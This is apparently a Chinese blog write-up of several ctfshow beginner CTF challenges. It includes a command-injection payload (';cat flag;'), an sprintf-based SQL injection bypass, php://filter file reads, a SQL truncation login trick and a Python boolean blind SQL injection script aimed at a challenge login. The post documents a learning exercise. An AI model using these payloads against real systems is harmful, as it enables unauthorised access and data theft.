ctfshow萌新赛经验总结

签到题

就从做题顺序开始记录,这题真的很签到。

<?php 
if(isset($_GET['url'])){
        system("curl https://".$_GET['url'].".ctf.show");
}else{
        show_source(__FILE__);
}
 ?>

有system函数在,应该就是命令执行了。唯一注意的点就是分号分隔一下。

用;ls;查看flag文件,再用;cat flag;得到flag。

给她

刚开始还不知道题目名字的含义,就一直在那注入,后来才知道给她翻译过来就是git,git泄露得到源码一部分。

<?php
$pass=sprintf("and pass='%s'",addslashes($_GET['pass']));
$sql=sprintf("select * from user where name='%s' $pass",addslashes($_GET['name']));
?>

addslashes函数就是对pass传进来的数据进行过滤,把预定义好的单双引号和反斜杠都进行了转义。这里就要用到sprintf函数的一个漏洞。(附上大佬文章深入解析sprintf格式化字符串漏洞)简而言之,就是php在格式化字符串时它会吞掉转义后的反斜杠,从而让单引号逃逸出来。可以构造payload

?name=admin&pass=1%1$' or 1=1-- -

第一个参数,用%进行填充,转义后%/就被吃掉了,单引号 成功逃脱。

这就是普通的页面,查看源代码。

给出flag的位置,之后发现cookie有信息,应该是一串十六进制。转ascli得出flag.txt。

访问发现flag文件不在这。。

 抓包查看cookie中有一个file变量我们可以用,我们将伪协议转十六进制读取。

 出现了not has base64,不能用base64,看了wp知道另一个payload

php://filter/read=string.rot13/resource=/flag

发包得出flag。

假赛生

打开题目是一段代码

<?php
session_start();
include('config.php');
if(empty($_SESSION['name'])){
    show_source("index.php");
}else{
    $name=$_SESSION['name'];
    $sql='select pass from user where name="'.$name.'"';
    echo $sql."<br />";
    system('4rfvbgt56yhn.sh');
    $query=mysqli_query($conn,$sql);
    $result=mysqli_fetch_assoc($query);
    if($name==='admin'){
        echo "admin!!!!!"."<br />";
        if(isset($_GET['c'])){
            preg_replace_callback("/\w\W*/",function(){die("not allowed!");},$_GET['c'],1);
            echo $flag;
        }else{
            echo "you not admin";
        }
    }
}
?>

根据题目提示有登录和注册,代码中看出我们需要admin登入,然后参数c传值得出flag。

打开注册发现admin不能注册,我们可以用admin加空格来绕过(sql约束攻击)然后用admin登录进去了。

看代码发现参数c过滤了打印字符和不可打印字符。因为没有isset函数的约束,不传值就行了。

最终得出flag。

萌新记忆

里面的段子确实挺搞笑的,继续做题,用dirsearch扫一下目录。扫出了/admin/?/login目录,访问是一个登录界面。随便输入admin'就会有sql语句报错。用sqlmap也是跑不出来。

这里就要用到BP来判断一下有那些payload没有过滤。(用BP fuzz进行sql注入的相关文章【CTF】利用 Burpsuite Fuzz 实现 SQL 注入 - SegmentFault 思否

这里测试回显有三种情况:密码错误,用户名错误和用户名密码错误。

首先下载一个payload字典,再通过BP的intruder模块将这些payload发出去。||是没有过滤的,它可以代替or来进行布尔盲注。我们输入在'||'a'<'b时,因为变量有单引号包裹,所以后端的查询语句就是''||'a'<'b',因为a<b是恒成立的,所以返回的结果是密码错误而不是用户名密码错误。因为我们抓包得出传用户名的参数是u,传密码的参数是p,因为BP Fuzz测试length是没有被过滤的,我们可以判断密码的长度,u='||length(p)<2||'&p=123。经过多组测试密码是十七位。在就是按照这个原理写脚本了,奈何我不会写脚本只能看懂脚本。

import requests
url="http://69c91548-0b63-48bb-b2d9-2f56576c1517.challenge.ctf.show/admin/checklogin.php"
letter="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
flag=""
for i in range(1,18):
    for j in letter:
        payload="'||substr(p,{},1)<'{}".format(i,j)
        data={
            'u':payload,
            'p':1
            }
        res=requests.post(url=url,data=data).text
        print(res)
        if "密码错误" == res:
            flag += chr(ord(j)-1)
            print(flag)
            break

跑脚本就能得到密码了,用admin登录进去就能得出flag。

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

XiLitter

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值